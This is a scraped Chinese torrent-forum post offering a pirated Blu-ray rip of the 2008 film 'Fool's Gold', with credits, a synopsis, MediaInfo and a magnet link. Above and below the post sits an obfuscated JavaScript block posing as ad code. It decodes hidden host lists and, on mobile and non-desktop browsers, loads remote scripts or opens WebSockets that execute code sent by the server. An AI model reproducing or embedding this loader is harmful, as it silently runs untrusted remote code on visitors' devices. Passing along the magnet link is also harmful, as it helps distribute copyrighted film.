淘金俏冤家[国英多音轨/中文字幕].Fools.Gold.2008.BluRay.1080p.AC3.x265.10bit 6.33GB

版主小s 1月前 249

var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNw==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x68\x6e\x49\x43\x61\x57\x73\x53\x72\x45']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};

◎译 名 淘金俏冤家 / 傻爱成金 / 金钱游戏 / 爱情潜到宝

◎片 名 Fool's Gold

◎年 代 2008

◎产 地 美国

◎类 别 喜剧 / 爱情 / 惊悚 / 冒险

◎语 言 英语

◎上映日期 2008-02-08

◎IMDb链接 https://www.imdb.com/title/tt0770752/

◎豆瓣评分 5.8/10 (4802人评价)

◎豆瓣链接 https://movie.douban.com/subject/1920730/

◎片 长 113 分钟

◎导 演 安迪·坦纳特 Andy Tennant (id:1315521)

◎编 剧 丹尼尔·泽尔曼 Daniel Zelman (id:1018236)

安迪·坦纳特 Andy Tennant (id:1315521)

◎演 员 马修·麦康纳 Matthew McConaughey (id:1040511)

凯特·哈德森 Kate Hudson (id:1035673)

唐纳德·萨瑟兰 Donald Sutherland (id:1010556)

阿丽西丝·泽纳 Alexis Dziena (id:1009258)

艾文·布莱纳 Ewen Bremner (id:1004679)

雷·温斯顿 Ray Winstone (id:1006977)

大卫·罗伯茨 David Roberts (id:1295760)

凯文·哈特 Kevin Hart (id:1286162)

埃迪·里查德 Eddie Ritchard (id:1336808)

托德·拉桑斯 Todd Lasance (id:1254278)

Roger Sciberras (id:1253004)

布莱恩·胡克斯 Brian Hooks (id:1023018)

亚当·勒费弗 Adam LeFevre (id:1105435)

马尔科姆-贾马尔·华纳 Malcolm-Jamal Warner (id:1165903)

Clementine Heath Clementine Heath (id:1214524)

杜坎·杨 Duncan Young (id:1216961)

罗汉·尼克尔 Rohan Nichol (id:1223935)

乔治·芬顿 George Fenton (id:1028224)

唐·伯吉斯 Don Burgess (id:1018519)

乔尔·贝斯特洛浦 Juel Bestrop (id:1278551)

戴米恩·德鲁 Damien Drew (id:1303150)

查尔斯·伍德 Charles Wood (id:1301217)

Peter Russell Peter Russell (id:1296353)

Ray Chan Ray Chan (id:1280437)

恩吉拉·迪克森 Ngila Dickson (id:1282410)

凯瑟琳·布伦黛尔 Kathryn Blondell (id:1067362)

尼基·古利 Nikki Gooley (id:1285161)

西安·格里格 Sian Grigg (id:1285472)

Migs Rustia (id:1230977)

Chris B. Schnitzer Chris B. Schnitzer (id:1142061)

◎标 签 喜剧 / 美国 / 爱情 / 美国电影 / 2008 / KateHudson / 淘金俏冤家 / 电影

◎简 介

本杰明·芬恩·费尼根(马修·麦康纳 Matthew McConaughey 饰)是一名疯狂的淘金猎人,淘金的热情使他无法如常人一般找份像样的工作养家糊口,他的妻子苔丝(凯特·哈德森 Kate Hudson 饰)也向他提出离婚,并在千万富翁奈杰尔(唐纳德·萨瑟兰 Donald Sutherland 饰)的巨轮上找了份不错的工作。一次意外的沉船事故中,芬恩无意中发现一枚碟子碎片,并推断这来源于一批失落了300多年的皇家财产,而这批财产同时也是他与妻子苦寻了8年的共同理想,芬恩决定这次决不放弃,然而周围却没有一个人相信他的推测。芬恩唯有想出了一个无厘头却不失精妙的方法登上了奈杰尔的船,并能言善辩地说服了杰奈尔与其女儿,甚至是苔丝也加入寻宝计划。然而与此同时,淘金团伙Bigg Bunny和芬恩的前导师已经盯上了他们,一场螳螂捕蝉黄雀在后的淘金好戏,即将上演…...

◎获奖情况 (共1项)

第29届金酸莓奖 (2009)

最差女主角(提名)

└──凯特·哈德森 (id:1035673)

  1. ##### MediaInfo ######

  2. General

  3. Unique ID : 7651934283980689331903308347138629034 (0x5C1B57CE52EA8EA2A683F81C8C3DDAA)

  4. Complete name : [email protected]

  5. Format : Matroska

  6. Format version : Version 4

  7. File size : 6.33 GiB

  8. Duration : 1 h 52 min

  9. Overall bit rate : 8 053 kb/s

  10. Encoded date : UTC 2021-10-26 05:51:51

  11. Writing application : mkvmerge v49.0.0 ('Sick Of Losing Soulmates') 64-bit

  12. Writing library : libebml v1.4.0 + libmatroska v1.6.1


  13. Video

  14. ID : 1

  15. Format : HEVC

  16. Format/Info : High Efficiency Video Coding

  17. Format profile : Main [email protected]@High

  18. Codec ID : V_MPEGH/ISO/HEVC

  19. Duration : 1 h 52 min

  20. Bit rate : 7 358 kb/s

  21. Width : 1 920 pixels

  22. Height : 796 pixels

  23. Display aspect ratio : 2.40:1

  24. Frame rate mode : Constant

  25. Frame rate : 23.976 (24000/1001/53354) FPS

  26. Color space : YUV

  27. Chroma subsampling : 4:2:0

  28. Bit depth : 10 bits

  29. Bits/(Pixel*Frame) : 0.201

  30. Stream size : 5.78 GiB (91%)

  31. Title : HEVC, [email protected]@High, 24/1.001 fps @ 7358 kbps

  32. Writing library : x265 3.4+14-gd419c7152:[Windows][GCC 10.2.0][64 bit] 10bit

  33. Encoding settings : cpuid=533541111039 / frame-threads=4 / numa-pools=16 / wpp / pmode / pme / no-psnr / no-ssim / log-level=2 / input-csp=1 / input-res=1920x796 / interlace=0 / total-frames=161755 / level-idc=51 / high-tier=1 / uhd-bd=0 / ref=5 / no-allow-non-conformance / no-repeat-headers / annexb / no-aud / no-hrd / info / hash=0 / no-temporal-layers / open-gop / min-keyint=24 / keyint=240 / gop-lookahead=0 / bframes=6 / b-adapt=2 / b-pyramid / bframe-bias=0 / rc-lookahead=40 / lookahead-slices=0 / NTMzNTQ=uuDQuD2mJt9fsCf / scenecut=40 / hist-scenecut=0 / radl=0 / no-splice / no-intra-refresh / ctu=32 / min-cu-size=8 / no-rect / no-amp / max-tu-size=32 / tu-inter-depth=3 / tu-intra-depth=3 / limit-tu=4 / rdoq-level=2 / dynamic-rd=0.00 / no-ssim-rd / signhide / no-tskip / nr-intra=0 / nr-inter=0 / no-constrained-intra / no-strong-intra-smoothing / max-merge=4 / limit-refs=1 / limit-modes / me=3 / subme=4 / merange=25 / temporal-mvp / no-frame-dup / no-hme / weightp / weightb / no-analyze-src-pics / deblock=-3:-3 / no-sao / no-sao-non-deblock / rd=6 / selective-sao=0 / no-early-skip / rskip / no-fast-intra / no-tskip-fast / no-cu-lossless / b-intra / no-splitrd-skip / rdpenalty=0 / psy-rd=2.00 / psy-rdoq=1.00 / no-rd-refine / no-lossless / cbqpoffs=0 / crqpoffs=0 / rc=crf / crf=17.0 / qcomp=0.65 / qpstep=4 / stats-write=0 / stats-read=0 / vbv-maxrate=80000 / vbv-bufsize=80000 / vbv-init=0.9 / crf-max=0.0 / crf-min=0.0 / ipratio=1.40 / pbratio=1.30 / aq-mode=2 / aq-strength=0.85 / cutree / zone-count=0 / no-strict-cbr / qg-size=32 / no-rc-grain / qpmax=69 / qpmin=0 / no-const-vbv / sar=1 / overscan=0 / videoformat=5 / range=0 / colorprim=1 / transfer=1 / colormatrix=1 / chromaloc=0 / display-window=0 / cll=0,0 / min-luma=0 / max-luma=1023 / log2-max-poc-lsb=8 / vui-timing-info / vui-hrd-info / slices=1 / no-opt-qp-pps / no-opt-ref-list-length-pps / no-multi-pass-opt-rps / scenecut-bias=0.05 / hist-threshold=0.03 / no-opt-cu-delta-qp / no-aq-motion / no-hdr10 / no-hdr10-opt / no-dhdr10-opt / no-idr-recovery-sei / analysis-reuse-level=0 / analysis-save-reuse-level=0 / analysis-load-reuse-level=0 / scale-factor=0 / refine-intra=0 / refine-inter=0 / refine-mv=1 / refine-ctu-distortion=0 / no-limit-sao / ctu-info=0 / no-lowpass-dct / refine-analysis-type=0 / copy-pic=1 / max-ausize-factor=1.0 / no-dynamic-refine / no-single-sei / no-hevc-aq / no-svt / no-field / qp-adaptation-range=1.00 / no-scenecut-aware-qpconformance-window-offsets / right=0 / bottom=0 / NTMzNTQ= / decoder-max-rate=0

  34. Language : English

  35. Default : Yes

  36. Forced : No

  37. Color range : Limited

  38. Color primaries : BT.709

  39. Transfer characteristics : BT.709

  40. Matrix coefficients : BT.709


  41. Audio

  42. ID : 2

  43. Format : AC-3

  44. Format/Info : Audio Coding 3

  45. Commercial name : Dolby Digital

  46. Codec ID : A_AC3

  47. Duration : 1 h 52 min

  48. Bit rate mode : Constant

  49. Bit rate : 640 kb/s

  50. Channel(s) : 6 channels

  51. Channel layout : L R C LFE Ls Rs

  52. Sampling rate : 48.0 kHz

  53. Frame rate : 31.250 FPS (1536 SPF)

  54. Compression mode : Lossy

  55. Stream size : 515 MiB (8%)

  56. Title : English Dolby Digital Audio 5.1 @ 640 kbps

  57. Language : English

  58. Service kind : Complete Main

  59. Default : Yes

  60. Forced : No


  61. Text #1

  62. ID : 3

  63. Format : PGS

  64. Codec ID : S_HDMV/PGS

  65. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  66. Duration : 1 h 48 min

  67. Bit rate : 32.0 kb/s

  68. Count of elements : 2776

  69. Stream size : 24.9 MiB (0%)

  70. Title : Eng/SUP

  71. Language : English

  72. Default : No

  73. Forced : No


  74. Text #2

  75. ID : 4

  76. Format : PGS

  77. Codec ID : S_HDMV/PGS

  78. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  79. Duration : 1 h 52 min

  80. Bit rate : 22.3 kb/s

  81. Count of elements : 2466

  82. Stream size : 17.8 MiB (0%)

  83. Title : English Dolby Digital Audio 5.1 @ 640 kbps

  84. Language : Chinese

  85. Default : Yes

  86. Forced : No


  87. Menu

  88. 00:00:00.000 : en:第 01 章

  89. 00:06:51.411 : en:第 02 章

  90. 00:09:28.902 : en:第 03 章

  91. 00:15:07.573 : en:第 04 章

  92. 00:21:36.128 : en:第 05 章

  93. 00:25:33.365 : en:第 06 章

  94. 00:30:55.520 : en:第 07 章

  95. 00:35:23.788 : en:第 08 章

  96. 00:38:57.835 : en:第 09 章

  97. 00:47:10.995 : en:第 10 章

  98. 00:51:34.425 : en:第 11 章

  99. 00:56:03.026 : en:第 12 章

  100. 01:00:26.122 : en:第 13 章

  101. 01:02:48.598 : en:第 14 章

  102. 01:08:26.936 : en:第 15 章

  103. 01:13:28.237 : en:第 16 章

  104. 01:18:46.221 : en:第 17 章

  105. 01:25:29.291 : en:第 18 章

  106. 01:28:26.134 : en:第 19 章

  107. 01:32:18.700 : en:第 20 章

  108. 01:36:29.617 : en:第 21 章

  109. 01:39:50.484 : en:第 22 章

  110. 01:43:28.369 : en:第 23 章

  111. 01:46:46.066 : en:第 24 章

  112. 01:48:05.479 : en:第 25 章




复制代码


磁力链:
  • magnet:?xt=urn:btih:053D46C207944EA2EC2E2C36762CF51BF91379F4

上传的附件:
BT9527.com论坛第一帅,不接受任何反驳
BT9527电影天堂 1、BT9527电影天堂提供的BT文件均来源于互联网抓取,只供网友学习交流、技术提升使用。
2、我们遵守BitTorrent点对点协议原则,任何版权问题请联系原资源发布商,我们不处理任何版权纠纷,谢谢!如有争议请联系邮箱:BT9527#hotmail.com(#换成@)
3、如果您发现某页面或地址有错误,请联系站长邮箱BT9527#hotmail.com(#换成@),我们会尽快处理。您的热心是对BT9527电影天堂最大的支持。
4、本站建议去正规影院观看电影以支持电影行业发展。
最新回复 (0)

你可以在 登录 or 注册 后,对此帖发表评论!

返回
发新帖
var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNg==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x59\x72\x72\x51\x4e\x72\x4a\x5a\x7a\x42']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9va3NrZGpmZGsuaG9uZ2ZhY2huLmNvbbSxodHRwczovL28zOWtza2RmamxrLmRzbbGVuZ2d1aS5jbb20=','d3NzOi8vd3MMua2FpZ3Vhbmdkb3UuY29tOjgxODEsd3NzOi8vd3MMueW5zbHZ5b3UuY29tOjgxODEsd3NzOi8vd3MMud3NobGNnai5jb206ODE4MMQ==',window,document,['b','M']);}:function(){};